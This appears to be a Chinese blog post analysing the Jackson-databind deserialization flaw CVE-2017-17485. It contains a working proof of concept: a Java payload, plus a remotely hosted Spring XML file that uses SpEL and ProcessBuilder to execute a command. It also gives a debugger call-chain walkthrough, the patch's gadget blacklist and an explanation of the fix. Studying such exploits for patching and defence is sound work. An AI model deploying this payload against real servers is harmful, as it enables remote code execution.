本次Jackson反序列化漏洞是基于org.springframework.context.support.ClassPathXmlApplicationContext的利用链的。在开启enableDefaultTyping()或使用有问题的@JsonTypeInfo注解的前提下,可以通过jackson-databind来滥用Spring的SpEL表达式注入漏洞来触发Jackson反序列化漏洞的,从而达到任意命令执行的效果。
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
不受JDK限制,可直接在JDK1.8上运行。
需要服务端环境存在额外的jar包,以我本地环境为例:
PoC.java:
public class PoC { public static void main(String[] args) { //CVE-2017-17485 String payload = "[/"org.springframework.context.support.ClassPathXmlApplicationContext/", /"http://127.0.0.1/spel.xml/"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { mapper.readValue(payload, Object.class); } catch (IOException e) { e.printStackTrace(); } } }
spel.xml,放置在第三方Web服务中,看到id为pb的bean标签,指定了类为java.lang.ProcessBuilder,在其中有两个子标签,constructor-arg标签设置参数值为具体的命令,property标签:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc.exe" /> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans>
运行即可成功触发:
本次的利用链是基于org.springframework.context.support.ClassPathXmlApplicationContext类,利用的原理就是SpEL表达式注入漏洞。
我们在 mapper.readValue(payload, Object.class);
上打上断点开始调试。
调试到UntypedObjectDeserializer.deserializeWithType()函数,其中会调用AsArrayTypeDeserializer.deserializeTypedFromAny()函数来解析我们数组形式的JSON内容:
往下调试,发现会调用BeanDeserializerBase.deserializeFromString()函数来反序列化字符串内容,它会返回一个调用createFromString()函数从字符串中创建的实例对象:
跟进去看StdValueInstantiator.createFromString()函数,此时_fromStringCreator变量为AnnotatedConstructor类实例,参数value值为 http://127.0.0.1/spel.xml
,接着就是调用AnnotatedConstructor.call1():
跟进去,调用了Constructor.newInstance()方法来创建新的实例:
往下调试,会调用到ClassPathXmlApplicationContext类的构造函数,看到configLocations参数值为spel.xml文件所在的URL地址,由于refresh参数值为True,因此会调用到refresh()函数:
注意:前面调用newInstance()是新建我们的利用类org.springframework.context.support.ClassPathXmlApplicationContext的实例,但是我们看到并没有调用ClassPathXmlApplicationContext类相关的setter方法,这是因为该类本身就没有setter方法,但是拥有构造函数,因此Jackson反序列化的时候会自动调用ClassPathXmlApplicationContext类的构造函数。而这个点就是和之前的利用链的不同之处,该类的漏洞点出在自己的构造函数而非在setter方法中。
下面我们继续调试看看ClassPathXmlApplicationContext类的构造函数中是哪里存在有漏洞。
跟进refresh()函数,进行一系列refresh之前的准备操作后,发现调用了invokeBeanFactoryPostProcessors()函数,顾名思义,就是调用上下文中注册为beans的工厂处理器:
继续跟下去,invokeBeanFactoryPostProcessors()函数中调用了getBeanNamesForType()函数来获取Bean名类型:
往下,进一步调用doGetBeanNamesForType()函数:
在doGetBeanNamesForType()函数中,调用isFactoryBean()判断当前beanName是否为FactoryBean,此时beanName参数值为”pb”,mbd参数中识别到bean标签中的类为java.lang.ProcessBuilder:
在isFactoryBean()函数中,调用predictBeanType()函数获取Bean类型:
跟进去,predictBeanType()函数中通过调用determineTargetType()函数来预测Bean类型:
determineTargetType()函数中通过调用()函数来确定目标类型:
跟下去,AbstractBeanFactory.resolveBeanClass()->AbstractBeanFactory.doResolveBeanClass(),用来解析Bean类,其中调用了evaluateBeanDefinitionString()函数来执行Bean定义的字符串内容,此时className参数指向”java.lang.ProcessBuilder”:
跟进AbstractBeanFactory.evaluateBeanDefinitionString()函数,其中调用了this.beanExpressionResolver.evaluate(),此时this.beanExpressionResolver指向的是StandardBeanExpressionResolver,也就是说已经调用到对应的SpEL表达式解析器了:
跟进StandardBeanExpressionResolver.evaluate()函数,发现调用了Expression.getValue()方法即SpEL表达式执行的方法,其中sec参数是我们可以控制的内容即由spel.xml解析得到的SpEL表达式:
后续就是SpEL表达式注入漏洞导致的任意代码执行了。
至此,整个调用过程就大致过了遍。简单地说,就是传入的需要被反序列化的org.springframework.context.support.ClassPathXmlApplicationContext类,它的构造函数存在SpEL注入漏洞,进而导致可被利用来触发Jackson反序列化漏洞。
调用到evaluate()函数时的函数调用栈如下:
evaluate:163, StandardBeanExpressionResolver (org.springframework.context.expression) evaluateBeanDefinitionString:1452, AbstractBeanFactory (org.springframework.beans.factory.support) doResolveBeanClass:1409, AbstractBeanFactory (org.springframework.beans.factory.support) resolveBeanClass:1372, AbstractBeanFactory (org.springframework.beans.factory.support) determineTargetType:670, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) predictBeanType:637, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) isFactoryBean:1489, AbstractBeanFactory (org.springframework.beans.factory.support) doGetBeanNamesForType:421, DefaultListableBeanFactory (org.springframework.beans.factory.support) getBeanNamesForType:391, DefaultListableBeanFactory (org.springframework.beans.factory.support) invokeBeanFactoryPostProcessors:84, PostProcessorRegistrationDelegate (org.springframework.context.support) invokeBeanFactoryPostProcessors:693, AbstractApplicationContext (org.springframework.context.support) refresh:531, AbstractApplicationContext (org.springframework.context.support) <init>:144, ClassPathXmlApplicationContext (org.springframework.context.support) <init>:85, ClassPathXmlApplicationContext (org.springframework.context.support) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422, Constructor (java.lang.reflect) call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect) createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std) deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser) _deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser) deserialize:135, BeanDeserializer (com.fasterxml.jackson.databind.deser) _deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std) deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl) _readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind) readValue:2797, ObjectMapper (com.fasterxml.jackson.databind) main:18, PoC
换成jackson-databind-2.7.9.2版本的jar试试,会报错,显示由于安全原因禁止了该非法类的反序列化操作:
com.fasterxml.jackson.databind.JsonMappingException: Illegal type (org.springframework.context.support.ClassPathXmlApplicationContext) to deserialize: prevented for security reasons
在jackson-databind-2.7.9.2-sources.jar!/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java中可以看到具体的黑名单信息,很遗憾的是没看到我们的利用类:
static { Set<String> s = new HashSet<String>(); // Courtesy of [https://github.com/kantega/notsoserial]: // (and wrt [databind#1599]) s.add("org.apache.commons.collections.functors.InvokerTransformer"); s.add("org.apache.commons.collections.functors.InstantiateTransformer"); s.add("org.apache.commons.collections4.functors.InvokerTransformer"); s.add("org.apache.commons.collections4.functors.InstantiateTransformer"); s.add("org.codehaus.groovy.runtime.ConvertedClosure"); s.add("org.codehaus.groovy.runtime.MethodClosure"); s.add("org.springframework.beans.factory.ObjectFactory"); s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); s.add("org.apache.xalan.xsltc.trax.TemplatesImpl"); // [databind#1680]: may or may not be problem, take no chance s.add("com.sun.rowset.JdbcRowSetImpl"); // [databind#1737]; JDK provided s.add("java.util.logging.FileHandler"); s.add("java.rmi.server.UnicastRemoteObject"); // [databind#1737]; 3rd party //s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855] s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean"); s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // [databind#1855]: more 3rd party s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource"); s.add("com.sun.org.apache.bcel.internal.util.ClassLoader"); DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); }
那么为啥能修补呢?我们调试看看。
在调用BeanDeserializerFactory.createBeanDeserializer()时,其中会调用_validateSubType()函数对子类型进行校验:
在SubTypeValidator._validateSubType()函数中看到,先进行黑名单过滤,发现类名不在黑名单后再判断是否是以”org.springframe”开头的类名,是的话循环遍历目标类的父类是否为”AbstractPointcutAdvisor”或”AbstractApplicationContext”,是的话跳出循环然后抛出异常:
而我们的利用类其继承关系是这样的:…->AbstractApplicationContext->AbstractRefreshableApplicationContext->AbstractRefreshableConfigApplicationContext->AbstractXmlApplicationContext->ClassPathXmlApplicationContext
可以看到,ClassPathXmlApplicationContext类是继承自AbstractApplicationContext类的,而该类会被过滤掉,从而没办法成功绕过利用。
OK,下一篇继续其他CVE利用链的分析。